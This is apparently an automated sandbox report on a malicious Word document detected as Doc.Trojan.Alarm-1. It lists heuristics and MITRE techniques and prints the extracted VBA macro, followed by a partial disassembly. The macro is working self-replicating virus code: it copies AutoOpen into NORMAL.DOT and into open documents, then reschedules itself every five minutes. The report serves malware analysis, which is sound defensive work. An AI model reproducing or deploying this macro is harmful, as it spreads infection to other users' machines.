MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing a VBA macro. The macro's AutoOpen subroutine is designed to copy itself to the Normal.dot template, which is a common technique for establishing persistence. The ClamAV detection 'Doc.Trojan.Alarm-1' further supports its malicious nature. While the exact payload is not clear from the provided evidence, the persistence mechanism is evident.
Heuristics 4
-
ClamAV: Doc.Trojan.Alarm-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Alarm-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9871 bytes |
SHA-256: 93762b9208255a06a7a82e4d1e3d050bc957854c4c9ccab82c85f2df97eb2629 |
|||
|
Detection
ClamAV:
Doc.Trojan.Alarm-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim MyFile$
Dim x
Dim normal
Dim OkExist
Dim i
Dim TemplateName$
Dim active
Dim internal
Dim alarmtime
Dim alarm$
' set document mode
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
MyFile$ = WordBasic.[FileName$]()
If InStr(1, MyFile$, "Îĵµ") = 1 Then
x = WordBasic.Dialog.FileSaveAs(dlg)
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
' dlg.Format = 0
WordBasic.CurValues.FileSaveAs dlg
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If
' if it is Macro Document, then goto bye2
If WordBasic.IsMacro(0) = -1 Then GoTo Bye2
' if Document is new, then goto Bye1
If MyFile$ = "" Then GoTo Bye1
' Save file as template
If dlg.Format = 0 Then
WordBasic.FileSaveAs Name:=MyFile$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0, SaveAsAOCELetter:=0
End If
' search macro AutoOpen in Normal template
normal = WordBasic.CountMacros(0)
OkExist = 0
For i = 1 To normal
If WordBasic.[MacroName$](i, 0) = "AutoOpen" Then OkExist = 1
Next i
' Get normal template name
TemplateName$ = WordBasic.[DefaultDir$](2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64
' copy AutoOpen to normal template
If OkExist <> 1 Then
WordBasic.Organizer Copy:=1, Source:=MyFile$, Destination:=TemplateName$, Name:="AutoOpen", Tab:=3
' Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "SaveDoc", .Tab = 3
WordBasic.FileSaveAs Name:=TemplateName$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=0, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0, SaveAsAOCELetter:=0
End If
' search macro AutoOpen in active document
active = WordBasic.CountMacros(1)
OkExist = 0
For i = 1 To active
If WordBasic.[MacroName$](i, 1) = "AutoOpen" Then OkExist = 1
Next i
' copy AutoOpen to active template
If OkExist <> 1 Then
WordBasic.Organizer Copy:=1, Source:=TemplateName$, Destination:=MyFile$, Name:="AutoOpen", Tab:=3
' Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "SaveDoc", .Tab = 3
WordBasic.FileSave
End If
Bye1:
' set document mode
dlg.Format = 0
Bye2:
' set timer to run AutoOpen again
internal = 5 / 24 / 60 ' internal time is 5 minutes
alarmtime = WordBasic.TimeValue(WordBasic.[Time$]()) + internal
alarm$ = WordBasic.[Time$](alarmtime)
WordBasic.OnTime alarm$, "AutoOpen"
End Sub
' Processing file: /opt/analyzer/scan_staging/a987b8b3e5684b43a43f8e4b6bfc9d44.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 6174 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn MyFile
' Line #3:
' Dim
' VarDefn x
' Line #4:
' Dim
' VarDefn normal
' Line #5:
' Dim
' VarDefn OkExist
' Line #6:
' Dim
' VarDefn i
' Line #7:
' Dim
' VarDefn TemplateName
' Line #8:
' Dim
' VarDefn active
' Line #9:
' Dim
' VarDefn internal
' Line #10:
' Dim
' VarDefn alarmtime
' Line #11:
' Dim
' VarDefn alarm
' Line #12:
' Line #13:
' QuoteRem 0x0000 0x0012 " set document mode"
' Line #14:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #15:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St MyFile$
' Line #16:
' LitDI2 0x0001
' Ld MyFile$
' LitStr 0x0004 "Îĵµ"
' FnInStr3
' LitDI2 0x0001
' Eq
' IfBlock
' Line #17:
' Ld dlg
' Ld WordBasic
' MemLd Dialog
' ArgsMemLd FileSaveAs 0x0001
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.